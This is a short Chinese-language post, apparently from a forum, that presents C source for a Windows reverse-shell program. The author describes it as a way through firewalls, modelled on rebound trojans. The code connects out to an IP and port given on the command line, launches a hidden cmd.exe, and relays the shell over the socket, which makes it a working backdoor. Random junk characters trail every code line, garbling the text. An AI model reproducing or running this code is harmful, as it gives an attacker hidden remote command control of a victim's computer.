这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 h=4m2m
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/* ============================== %dL|i2+*8
Rebound port in Windows NT KE YM@,'
By wind,2006/7 \{G6!dV|S
===============================*/ ;pb~Zk/[,w
#include o LX6w
#include Dw[w%uz
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#pragma comment(lib,"wsock32.lib") KfWVz*DC!
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void OutputShell(); V}9wx%v
SOCKET sClient; 5yxZ
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; N~M:+\
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void main(int argc,char **argv) )l30~5u<J
{ i>,5b1x~
WSADATA stWsaData; ]pb;q(?^
int nRet; kf-ZE$S4
SOCKADDR_IN stSaiClient,stSaiServer; _V:D7\Gs
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if(argc != 3) x6,S#p
{ aQFYSl
printf("Useage:\n\rRebound DestIP DestPort\n"); "VcGr#zW
return; "!Mu5Ga
} Q1&: +7%
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WSAStartup(MAKEWORD(2,2),&stWsaData); Uk;SY[mU
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `2S{.s
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stSaiClient.sin_family = AF_INET; Cn28&$:J
stSaiClient.sin_port = htons(0); Q
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); e>z7?"N
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) CF42KNq
{ S8"X7\d{
printf("Bind Socket Failed!\n"); i7fpl
return; `$@1NL7>
} 'd6hQ4Vw4
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stSaiServer.sin_family = AF_INET; tvb hWYe
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); XkdNWR0
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); gscsB4<
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 79x^zqLb
{ S~6<'N&[
printf("Connect Error!"); I}k!i+Yl
return; h Qu9ux
} fG,qax`:c
OutputShell(); N(1jm F
} }JlQQ
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void OutputShell() n:<avl@o<
{ 2d3wQ)2
char szBuff[1024]; t 8M3VGN
SECURITY_ATTRIBUTES stSecurityAttributes; /pb7
OSVERSIONINFO stOsversionInfo; f"-<Z_
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 5utj$ha2
STARTUPINFO stStartupInfo; (1jkZ^7
char *szShell; j 6v +S
PROCESS_INFORMATION stProcessInformation; &F.lo9JJ
unsigned long lBytesRead; >eUAHmXQ|
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Vq<|DM3z<
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 2RE }l=h5
stSecurityAttributes.lpSecurityDescriptor = 0; le[5a=e(
stSecurityAttributes.bInheritHandle = TRUE; t}oxHEa V
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); hF2
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); UoKBcarm
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); +ZZiZ&y
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ZcdS?Z2k
stStartupInfo.wShowWindow = SW_HIDE; 3G>E>yJ
stStartupInfo.hStdInput = hReadPipe; ^WD[>E~
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; =3J~Fk
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GetVersionEx(&stOsversionInfo); $x2<D :
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switch(stOsversionInfo.dwPlatformId) }'X}!_9w>
{ `$#64UZ>U1
case 1: -#Wc@\;
szShell = "command.com"; K1+,y1c
break; m=}kGzIY4
default: T%]:
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szShell = "cmd.exe"; z$YOV"N
break; (wA|lK3
} z+\>e~U6J}
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); mGY74>/
{ aB_t%`w
send(sClient,szMsg,77,0); (sl]%RjGa
while(1) t(_XB|AKm
{ "thu@~aC
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); /aPq9B@
if(lBytesRead) `/|=eQ")o@
{ bC@b9opD
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); |w>DZG!}1-
send(sClient,szBuff,lBytesRead,0); YWdlE7 y
} (PB|.`_<H
else U>I#f
{ 9B%"7MVn
lBytesRead=recv(sClient,szBuff,1024,0); ipyO&v
if(lBytesRead<=0) break; .#}SK!"B
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); >5N}ZIN
} |mM7P^I
} h\ybh
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return; ( Rf)&KN
}